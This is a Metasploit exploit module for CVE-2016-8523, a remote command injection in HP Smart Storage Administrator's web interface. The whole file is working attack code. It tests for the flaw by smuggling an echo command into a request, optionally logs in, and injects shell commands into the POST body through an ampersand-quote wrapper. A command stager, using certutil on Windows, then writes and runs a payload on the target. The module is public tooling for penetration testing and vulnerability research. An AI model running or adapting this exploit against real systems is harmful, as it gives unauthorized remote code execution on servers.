##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP Smart Storage Administrator Remote Command Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in HP Smart Storage Administrator. By
        supplying a specially crafted HTTP request, it is possible to control the
        'command' variable in function isDirectFileAccess (found in ipcelmclient.php),
        which will be used in a proc_open() function. Versions prior to HP SSA 2.60.18.0 are vulnerable.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Mattiocco (@MaKyOtOx)'  # Discovery & multi-platform Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2016-8523']
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Platform'       => %w{ linux win },
      'Targets'        =>
        [
          ['Linux', {
            'Platform' => 'linux',
            'Arch' => ARCH_X86,
            'CmdStagerFlavor' => 'bourne'
          }],
          ['Linux (x64)', {
            'Platform' => 'linux',
            'Arch' => ARCH_X86_64,
            'CmdStagerFlavor' => 'bourne'
          }],
          ['Windows', {
            'Platform' => 'win',
            'Arch' => ARCH_X86,
            'CmdStagerFlavor' => 'certutil'
          }],
          ['Windows (x64)', {
            'Platform' => 'win',
            'Arch' => ARCH_X86_64,
            'CmdStagerFlavor' => 'certutil'
          }],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 30 2017"
    ))

    register_options(
      [
        Opt::RPORT(2381),
        # USERNAME/PASS may not be necessary, because the anonymous access is possible
        OptString.new("USERNAME", [false, 'The username to authenticate as']),
        OptString.new("PASSWORD", [false, 'The password to authenticate with'])
      ], self.class)
  end

  def check

    @cookie = ''

    sig = Rex::Text.rand_text_alpha(8)
    cmd = "&echo%20#{sig}&echo"
    res = send_command(cmd, true)
    if not res
      vprint_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 && res.headers.to_s() =~ /#{sig}/
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end


  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    cookie = ''

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => '/proxy/ssllogin',
      'vars_post' => {
        'redirecturl'         => '',
        'redirectquerystring' => '',
        'user'                => username,
        'password'            => password
      }
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Connection timed out during login")
    end

    # CpqElm-Login: success
    if res.headers['CpqElm-Login'].to_s =~ /success/
      cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
    end

    cookie
  end


  def setup_stager
    execute_cmdstager(:temp => './', :linemax => 2800)
  end


  def execute_command(cmd, opts={})
    res = send_command(cmd, false)
    if res && res.code != 200
      vprint_error("Unexpected response:\n#{res}")
      fail_with(Failure::Unknown, "There was an unexpected response")
    end
  end


  def send_command(cmd, check)
    if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?
      @cookie = login
      if @cookie.empty?
        fail_with(Failure::NoAccess, "#{peer} - Login failed")
      else
        print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
      end
    end

    req_opts = {}

    # For the check() function, use GET method
    if check
      req_opts['uri'] = "/HPSSA/index.htm#{cmd}"
      req_opts['method'] = "GET"
    else
      req_opts['uri'] = "/HPSSA/index.htm"
      req_opts['method'] = "POST"
      req_opts['vars_post'] = {'msf'=>'red'}
      case target.opts['Platform']
        when "linux" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"/tmp/")} & echo \""
        when "win"   then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"\.\\")} & echo \""
      end
    end

    unless @cookie.empty?
      browser_chk = 'HPSMH-browser-check=done for this session'
      curl_loc    = "curlocation-#{datastore['USERNAME']}="
      req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
    end

    send_request_cgi(req_opts)
  end

  def exploit
    @cookie = ''

    setup_stager
  end
end